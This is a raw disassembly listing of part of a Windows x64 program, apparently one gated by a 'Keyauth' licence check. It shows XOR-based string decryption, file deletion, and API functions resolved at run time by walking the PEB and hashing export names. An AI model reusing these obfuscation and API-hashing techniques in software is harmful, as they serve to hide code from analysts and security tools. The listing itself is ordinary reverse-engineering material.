xor byte [rbp + 0x29], 0x3c
xor cl, 0x3b
movups xmmword [rbp + 0x798], xmm0
mov qword [rbp + 0x7a8], r13
movsd xmm0, qword [0x1400b0ca0]
movsd qword [rbp + 0x20], xmm0
xor byte [rbp + 0x21], 0x34
xor byte [rbp + 0x22], 0x35
xor byte [rbp + 0x23], 0x36
xor byte [rbp + 0x24], 0x37
xor byte [rbp + 0x25], 0x38
xor byte [rbp + 0x26], 0x39
xor byte [rbp + 0x27], 0x3a
xor al, 0x3d
mov qword [rbp + 0x7b0], 0xf
mov byte [rbp + 0x2a], al
lea rax, [rbp + 0x20]
mov byte [rbp + 0x798], 0
mov byte [rbp + 0x20], 0x43
mov byte [rbp + 0x28], cl
nop
inc rdi
cmp byte [rax + rdi], 0
jne 0x14007f360
call fcn.14009a8e0
mov qword [rbp + 0x780], r13
xorps xmm0, xmm0
mov edx, 7
mov esi, eax
mov qword [rbp + 0x788], rdx
movups xmmword [rbp + 0x770], xmm0
mov word [rbp + 0x770], r13w
test rdi, rdi
je 0x14007f426
cmp rdi, 0x7fffffff
ja 0x140084e46
xor r9d, r9d
mov dword [rsp + 0x20], r13d
mov r8d, edi
mov rdx, r12
mov ecx, eax
call fcn.14009a908
mov rbx, rax
mov qword [rsp + 0x70], rax
shr rax, 0x20
test eax, eax
jne 0x140084e3c
xor r8d, r8d
movsxd rdx, ebx
lea rcx, [rbp + 0x770]
call fcn.1400314c0
cmp qword [rbp + 0x788], 7
lea r9, [rbp + 0x770]
mov r8d, edi
mov dword [rsp + 0x20], ebx
cmova r9, qword [rbp + 0x770]
mov rdx, r12
mov ecx, esi
call fcn.14009a908
mov qword [rsp + 0x70], rax
shr rax, 0x20
test eax, eax
jne 0x140084e32
mov rdx, qword [rbp + 0x788]
cmp rdx, 7
lea rcx, [rbp + 0x770]
mov r9d, 0xffffffff
lea rdx, [rbp + 0x7b8]
cmova rcx, qword [rbp + 0x770]
mov r8d, 3
call fcn.14009aa1c
mov r8d, eax
test eax, eax
jne 0x14007f4a9
mov edx, dword [rbp + 0x7c8]
mov ecx, 0x1ff
test dl, 1
mov eax, 0x16d
cmovne ecx, eax
mov dword [rsp + 0x74], ecx
mov ecx, edx
shr ecx, 0xa
test cl, 1
je 0x14007f49e
mov eax, dword [rbp + 0x7cc]
cmp eax, 0xa000000c
jne 0x14007f490
mov edx, 4
jmp 0x14007f4cd
cmp eax, 0xa0000003
jne 0x14007f49e
mov edx, 0xa
jmp 0x14007f4cd
shr edx, 4
and edx, 1
or edx, 2
jmp 0x14007f4cd
mov dword [rsp + 0x74], 0xffff
sub eax, 2
je 0x14007f4c8
sub eax, 1
je 0x14007f4c8
sub eax, 0x32
je 0x14007f4c8
mov edx, r13d
cmp eax, 0x46
jne 0x14007f4cd
mov edx, 1
mov dword [rbp + 0x3b0], r8d
lea rax, [0x140238460]
mov qword [rbp + 0x3b8], rax
movaps xmm0, xmmword [rbp + 0x3b0]
movdqa xmmword [rsp + 0x70], xmm0
test edx, edx
je 0x14007f4fb
cmp edx, 1
setne bl
jmp 0x14007f506
xor bl, bl
test r8d, r8d
jne 0x140084e51
lea rcx, [rbp + 0x770]
call fcn.1400331c0
test bl, bl
je 0x14007f6e7
movsd xmm0, qword [0x1400b0cb0]
mov r8, 0xffffffffffffffff
movzx ecx, word [0x1400b0cb8]
movzx eax, byte [0x1400b0cba]
movsd qword [rbp + 0x30], xmm0
xorps xmm0, xmm0
xor byte [rbp + 0x31], 0x34
xor byte [rbp + 0x32], 0x35
xor byte [rbp + 0x33], 0x36
xor byte [rbp + 0x34], 0x37
xor byte [rbp + 0x35], 0x38
xor byte [rbp + 0x36], 0x39
xor byte [rbp + 0x37], 0x3a
mov word [rbp + 0x38], cx
xor cl, 0x3b
xor byte [rbp + 0x39], 0x3c
xor al, 0x3d
mov byte [rbp + 0x30], 0x43
mov byte [rbp + 0x3a], al
lea rax, [rbp + 0x30]
mov byte [rbp + 0x38], cl
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], r13
inc r8
cmp byte [rax + r8], 0
jne 0x14007f583
lea rdx, [rbp + 0x30]
lea rcx, [rsp + 0x70]
call fcn.140035750
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x7b8]
call fcn.14007d470
mov rdx, rax
lea rcx, [rbp + 0x798]
call fcn.1400319d0
lea rcx, [rbp + 0x7b8]
call fcn.1400319c0
lea rcx, [rsp + 0x70]
call fcn.1400319c0
movsd xmm0, qword [0x1400b0cc0]
mov r8, 0xffffffffffffffff
movzx ecx, word [0x1400b0cc8]
movzx eax, byte [0x1400b0cca]
movsd qword [rbp + 0x40], xmm0
xorps xmm0, xmm0
xor byte [rbp + 0x41], 0x34
xor byte [rbp + 0x42], 0x35
xor byte [rbp + 0x43], 0x36
xor byte [rbp + 0x44], 0x37
xor byte [rbp + 0x45], 0x38
xor byte [rbp + 0x46], 0x39
xor byte [rbp + 0x47], 0x3a
mov word [rbp + 0x48], cx
xor cl, 0x3b
xor byte [rbp + 0x49], 0x3c
xor al, 0x3d
mov byte [rbp + 0x40], 0x43
mov byte [rbp + 0x4a], al
lea rax, [rbp + 0x40]
mov byte [rbp + 0x48], cl
movups xmmword [rbp + 0x770], xmm0
mov qword [rbp + 0x780], r13
mov qword [rbp + 0x788], r13
inc r8
cmp byte [rax + r8], 0
jne 0x14007f642
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x770]
call fcn.140035750
lea rdx, [rbp + 0x770]
lea rcx, [rsp + 0x70]
call fcn.14007d470
mov rbx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14007f67a
mov rbx, qword [rax]
mov r8, qword [rbp - 0x78]
cmp r8, 0xf
jbe 0x14007f693
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x70]
call fcn.140034390
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
test rbx, rbx
je 0x14007f6be
mov r8, rbx
lea rcx, [0x1402393d0]
mov edx, 0x40
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
mov r8, qword [rbp + 0x788]
cmp r8, 0xf
jbe 0x14007f9eb
mov rdx, qword [rbp + 0x770]
lea rcx, [rbp + 0x770]
call fcn.140034390
jmp 0x14007f9eb
cmp byte [0x1400b0ce7], 0
movups xmm2, xmmword [str.vZASE]
movsd xmm0, qword [0x1400b0ce0]
movups xmmword [rsp + 0x70], xmm2
movsd qword [rbp - 0x80], xmm0
je 0x14007f9c3
mov r8d, r13d
cmp r15d, 2
jl 0x14007f98b
movd eax, xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
movdqa xmm2, xmm14
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
movd ecx, xmm15
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm10
movd dword [rsp + 0x70], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x74]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x74], xmm2
movdqa xmm2, xmmword [0x1400b4640]
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x78]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x78], xmm2
movdqa xmm2, xmmword [0x1400b4650]
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm10
punpckldq xmm1, xmm2
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm1, dword [rsp + 0x7c]
andps xmm2, xmm12
movd xmm0, ecx
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x7c], xmm2
movdqa xmm2, xmmword [0x1400b4660]
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x80]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp - 0x80], xmm2
movdqa xmm2, xmmword [0x1400b4670]
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x7c]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp - 0x7c], xmm2
jmp 0x14007f9c3
lea r9, [rsp + 0x70]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9 - 1], al
cmp r8d, 0x18
jl 0x14007f990
lea rax, [rsp + 0x70]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14007f9d0
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x798]
call fcn.1400317a0
cmp qword [rbp + 0x7b0], 0xf
lea rdx, [rbp + 0x798]
mov eax, dword [0x1400b0ce8]
mov dword [rsp + 0x60], eax
movzx eax, word [0x1400b0cec]
mov word [rsp + 0x64], ax
mov dword [rbp + 0x1e8], 0x43960000
mov dword [rbp + 0x1ec], 0x420c0000
jbe 0x14007fa2d
mov rdx, qword [rbp + 0x798]
xor byte [rsp + 0x61], 0x34
lea rax, [rbp + 0x1e8]
xor byte [rsp + 0x62], 0x35
lea rbx, [0x1402393d0]
xor byte [rsp + 0x63], 0x36
lea rcx, [rsp + 0x60]
xor byte [rsp + 0x64], 0x37
mov r8, rbx
xor byte [rsp + 0x65], 0x38
mov r9d, 0x40
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x60], 0x23
call fcn.14006bd20
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x14007fa90
mov rdx, rbx
lea rcx, [0x140238430]
call fcn.1400317a0
lea rcx, [rbp + 0x1f0]
mov dword [rbp + 0x1f0], 0x42480000
mov dword [rbp + 0x1f4], 0x43570000
call fcn.14004eaa0
mov eax, dword [0x1400b0cf0]
lea rdx, [rbp + 0x100]
mov dword [rbp - 0x10], eax
lea rcx, [rbp - 0x10]
movzx eax, word [0x1400b0cf4]
xor byte [rbp - 0xf], 0x34
xor byte [rbp - 0xe], 0x35
xor byte [rbp - 0xd], 0x36
mov word [rbp - 0xc], ax
xor al, 0x37
xor byte [rbp - 0xb], 0x38
mov byte [rbp - 0xc], al
mov dword [rbp + 0x100], 0x43960000
mov dword [rbp + 0x104], 0x420c0000
mov byte [rbp - 0x10], 0x4c
call fcn.14006a4f0
test al, al
mov eax, dword [0x14023938c]
je 0x14007fb2c
inc eax
mov dword [0x14023938c], eax
test eax, eax
je 0x14007ff1f
movss xmm6, dword [0x1400a28dc]
lea rcx, [rbp + 0x1f8]
movss dword [rbp + 0x204], xmm6
mov byte [0x140238458], 0
mov dword [rbp + 0x1f8], 0x3f2dadae
mov dword [rbp + 0x1fc], 0x3d50d0d2
mov dword [rbp + 0x200], 0x3d50d0d2
call fcn.14003fa90
movss xmm3, dword [0x140239378]
lea r8, [rbp + 0x108]
addss xmm3, dword [0x1400a2a08]
movss xmm2, dword [0x14023937c]
lea rdx, [rbp + 0x110]
movss xmm7, dword [0x1400a28f4]
movaps xmm1, xmm2
addss xmm1, dword [0x1400b1088]
addss xmm2, dword [0x1400b1084]
mov rcx, qword [0x140239370]
movaps xmm0, xmm3
addss xmm0, dword [0x140239410]
mov dword [rsp + 0x28], r13d
mov r9d, eax
movss dword [rbp + 0x10c], xmm1
movss dword [rbp + 0x110], xmm3
movss dword [rbp + 0x114], xmm2
movss dword [rbp + 0x108], xmm0
movss dword [rsp + 0x20], xmm7
call fcn.140056e50
lea rcx, [rbp + 0x208]
movss dword [rbp + 0x214], xmm6
mov dword [rbp + 0x208], 0x3e20a0a1
mov dword [rbp + 0x20c], 0x3e20a0a1
mov dword [rbp + 0x210], 0x3e20a0a1
call fcn.14003fa90
movss xmm3, dword [0x140239378]
lea r8, [rbp + 0x118]
movss xmm2, dword [0x14023937c]
lea rdx, [rbp + 0x120]
mov rcx, qword [0x140239370]
movaps xmm0, xmm3
addss xmm0, dword [0x1400b1098]
addss xmm3, dword [0x1400a675c]
movaps xmm1, xmm2
movss dword [rsp + 0x30], xmm6
addss xmm1, dword [0x1400b108c]
addss xmm2, dword [0x1400b1080]
mov dword [rsp + 0x28], r13d
mov r9d, eax
movss dword [rbp + 0x118], xmm0
movss dword [rbp + 0x120], xmm3
movss dword [rbp + 0x11c], xmm1
movss dword [rbp + 0x124], xmm2
movss dword [rsp + 0x20], xmm7
call fcn.140056d40
cmp byte [0x140113850], 0
je 0x14007fd13
xorps xmm0, xmm0
mov qword [rbp + 0x7c8], r13
movups xmmword [rbp + 0x7b8], xmm0
mov qword [rbp + 0x7d0], r13
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x14007fce0
mov rdx, rbx
lea rcx, [rbp + 0x7b8]
call fcn.140035750
lea rdx, [rbp + 0x7b8]
lea rcx, [rbp + 0x930]
call fcn.140092c20
mov byte [0x140113850], 0
movss xmm0, dword [0x140239410]
comiss xmm0, dword [0x1400b1090]
jbe 0x14007ff1f
cmp byte [rbp + 0xb40], 0
je 0x14007ffae
lea rcx, [rbp + 0x7b8]
call fcn.14001e7f0
xorps xmm0, xmm0
mov qword [rbp - 0x80], r13
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x78], r13
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x14007fd60
mov rdx, rbx
lea rcx, [rsp + 0x70]
call fcn.140035750
movsd xmm0, qword [0x1400b0cf8]
mov r8, 0xffffffffffffffff
movzx ecx, word [0x1400b0d00]
movzx eax, byte [0x1400b0d02]
movsd qword [rbp + 0x50], xmm0
xorps xmm0, xmm0
xor byte [rbp + 0x51], 0x34
xor byte [rbp + 0x52], 0x35
xor byte [rbp + 0x53], 0x36
xor byte [rbp + 0x54], 0x37
xor byte [rbp + 0x55], 0x38
xor byte [rbp + 0x56], 0x39
xor byte [rbp + 0x57], 0x3a
mov word [rbp + 0x58], cx
xor cl, 0x3b
xor byte [rbp + 0x59], 0x3c
xor al, 0x3d
mov byte [rbp + 0x50], 0x43
mov byte [rbp + 0x5a], al
lea rax, [rbp + 0x50]
mov byte [rbp + 0x58], cl
movups xmmword [rbp + 0x770], xmm0
mov qword [rbp + 0x780], r13
mov qword [rbp + 0x788], r13
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14007fdf0
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x770]
call fcn.140035750
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x770]
call fcn.14007dca0
lea rcx, [rbp + 0x770]
call fcn.1400319c0
lea rcx, [rsp + 0x70]
call fcn.1400319c0
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x14007fe40
mov rdx, rbx
lea rcx, [0x140238430]
call fcn.1400317a0
movsd xmm0, qword [0x1400b0d08]
mov r8, 0xffffffffffffffff
movzx ecx, word [0x1400b0d10]
movzx eax, byte [0x1400b0d12]
movsd qword [rbp + 0x60], xmm0
xorps xmm0, xmm0
xor byte [rbp + 0x61], 0x34
xor byte [rbp + 0x62], 0x35
xor byte [rbp + 0x63], 0x36
xor byte [rbp + 0x64], 0x37
xor byte [rbp + 0x65], 0x38
xor byte [rbp + 0x66], 0x39
xor byte [rbp + 0x67], 0x3a
mov word [rbp + 0x68], cx
xor cl, 0x3b
xor byte [rbp + 0x69], 0x3c
xor al, 0x3d
mov byte [rbp + 0x60], 0x43
mov byte [rbp + 0x6a], al
lea rax, [rbp + 0x60]
mov byte [rbp + 0x68], cl
movups xmmword [rbp + 0x770], xmm0
mov qword [rbp + 0x780], r13
mov qword [rbp + 0x788], r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14007fed0
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x770]
call fcn.140035750
lea rdx, [rbp + 0x7b8]
lea rcx, [rbp + 0x770]
call fcn.14007dca0
lea rcx, [rbp + 0x770]
call fcn.1400319c0
lea rcx, [rbp + 0x7b8]
mov dword [0x140239388], 1
call fcn.1400319c0
movss xmm9, dword [0x1400b109c]
mov rdx, qword [rbp + 0x7b0]
cmp rdx, 0xf
jbe 0x14007ff69
mov rcx, qword [rbp + 0x798]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007ff64
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140084d22
call fcn.1400999e0
movdqa xmm7, xmmword [0x1400b4640]
cmp dword [0x140239388], 1
jne 0x14008476c
cmp byte [0x140238459], 0
mov rbx, qword [0x1402390b8]
mov qword [rbp + 0x798], rbx
movss xmm2, dword [rbx + 0x18]
mulss xmm2, dword [0x1400a28f8]
je 0x14008058d
xorps xmm1, xmm1
jmp 0x140080595
movzx ecx, word [0x1400b0d20]
movzx eax, byte [0x1400b0d22]
movsd xmm0, qword [0x1400b0d18]
xor al, 0x3d
movsd qword [rbp + 0x88], xmm0
xor byte [rbp + 0x89], 0x34
xor byte [rbp + 0x8a], 0x35
xor byte [rbp + 0x8b], 0x36
xor byte [rbp + 0x8c], 0x37
xor byte [rbp + 0x8d], 0x38
xor byte [rbp + 0x8e], 0x39
xor byte [rbp + 0x8f], 0x3a
mov word [rbp + 0x90], cx
xor cl, 0x3b
xor byte [rbp + 0x91], 0x3c
mov byte [rbp + 0x90], cl
lea rcx, [rbp + 0x88]
mov byte [rbp + 0x88], 0x43
mov byte [rbp + 0x92], al
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
cmp qword [rbp + 0xb60], 0xf
lea rdx, [rbp + 0xb48]
lea r8, str.Keyauth
cmova rdx, qword [rbp + 0xb48]
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov eax, dword [0x1400b0d70]
mov r8d, r13d
mov dword [rbp + 0x790], eax
movzx eax, byte [0x1400b0d74]
mov byte [rbp + 0x794], al
movups xmm0, xmmword [0x1400b0d50]
movups xmm1, xmmword [0x1400b0d60]
movups xmmword [rbp + 0x770], xmm0
movups xmmword [rbp + 0x780], xmm1
cmp r15d, 2
jl 0x1400801d1
movdqa xmmword [rsp + 0x70], xmm15
lea rcx, [rbp + 0x774]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x20
jl 0x1400800b0
cmp r8d, 0x25
jl 0x1400801d1
mov r12d, 1
movaps xmm1, xmm6
mov ecx, r12d
call fcn.1400429e0
mov ecx, dword [0x1400b0d48]
mov ebx, eax
mov dword [rbp + 0x7d8], ecx
movzx ecx, byte [0x1400b0d4c]
mov byte [rbp + 0x7dc], cl
jmp 0x14008023d
movsxd rax, r8d
lea r9, [rbp + 0x770]
add r9, rax
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9 - 1], al
cmp r8d, 0x25
jl 0x1400801e0
mov r12d, 1
movaps xmm1, xmm6
mov ecx, r12d
call fcn.1400429e0
mov ebx, eax
mov eax, dword [0x1400b0d48]
mov dword [rbp + 0x7d8], eax
movzx eax, byte [0x1400b0d4c]
mov byte [rbp + 0x7dc], al
mov r8d, r13d
movups xmm1, xmmword [0x1400b0d38]
movups xmm0, xmmword [0x1400b0d28]
movups xmmword [rbp + 0x7c8], xmm1
movups xmmword [rbp + 0x7b8], xmm0
cmp r15d, 2
jl 0x140080373
movdqa xmmword [rsp + 0x70], xmm15
lea rcx, [rbp + 0x7bc]
mov edx, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x20
jl 0x140080280
cmp r8d, 0x25
jge 0x1400803b1
movsxd rax, r8d
lea r9, [rbp + 0x7b8]
add r9, rax
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9 - 1], al
cmp r8d, 0x25
jl 0x140080380
movss xmm3, dword [0x140239378]
lea r9, [rbp + 0x7b8]
movss xmm2, dword [0x14023937c]
lea rcx, [rbp + 0x3e8]
movss xmm9, dword [0x1400b109c]
movaps xmm1, xmm2
addss xmm1, dword [0x1400b1094]
movaps xmm0, xmm3
addss xmm2, xmm8
addss xmm0, xmm9
unpcklps xmm0, xmm1
movaps xmm1, xmm3
unpcklps xmm1, xmm2
movq r8, xmm0
movq rdx, xmm1
call fcn.14007c250
mov rcx, qword [0x140239370]
lea r9, [rbp + 0x770]
mov r8d, ebx
mov qword [rsp + 0x20], r13
mov rdx, rax
call fcn.140057000
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400804b7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400804b7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x787c7e1e
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400804b2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140080490
cmp r8d, 0xe4747e81
je 0x1400804bc
test r9d, r9d
jne 0x140080470
mov rax, qword [rax]
jmp 0x140080440
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov ecx, 0x2710
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140080567
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140080567
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x69f00f9c
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140080562
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140080540
cmp r8d, 0x2dbfa0cc
je 0x14008056c
test r9d, r9d
jne 0x140080520
mov rax, qword [rax]
jmp 0x1400804f0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov ecx, r12d
add rax, r10
call rax
jmp 0x14007ff28
movss xmm1, dword [0x1400a2a04]
subss xmm1, dword [0x140239414]
lea rcx, [rbp + 0x128]
mov dword [rbp + 0x128], 0x42480000
mov dword [rbp + 0x12c], 0x42480000
mulss xmm1, xmm2
addss xmm1, dword [0x140239414]
movss dword [0x140239414], xmm1
call fcn.14004eaa0
cmp byte [0x140239361], 0
jne 0x1400814ed
xor r8d, r8d
lea rdx, [0x1400b3910]
lea rcx, [0x1402383f0]
call fcn.1400317a0
mov r8d, 7
lea rdx, str.default
lea rcx, [0x140238410]
call fcn.1400317a0
mov eax, dword [str.jQYZXO9]
xorps xmm0, xmm0
movzx ecx, word [0x1400b0d7c]
mov r8, 0xffffffffffffffff
mov dword [rbp - 8], eax
movzx eax, byte [0x1400b0d7e]
xor byte [rbp - 7], 0x34
xor byte [rbp - 6], 0x35
xor byte [rbp - 5], 0x36
mov word [rbp - 4], cx
xor cl, 0x37
xor byte [rbp - 3], 0x38
xor al, 0x39
mov byte [rbp - 8], 0x59
mov byte [rbp - 2], al
lea rax, [rbp - 8]
mov byte [rbp - 4], cl
movups xmmword [rbp + 0x280], xmm0
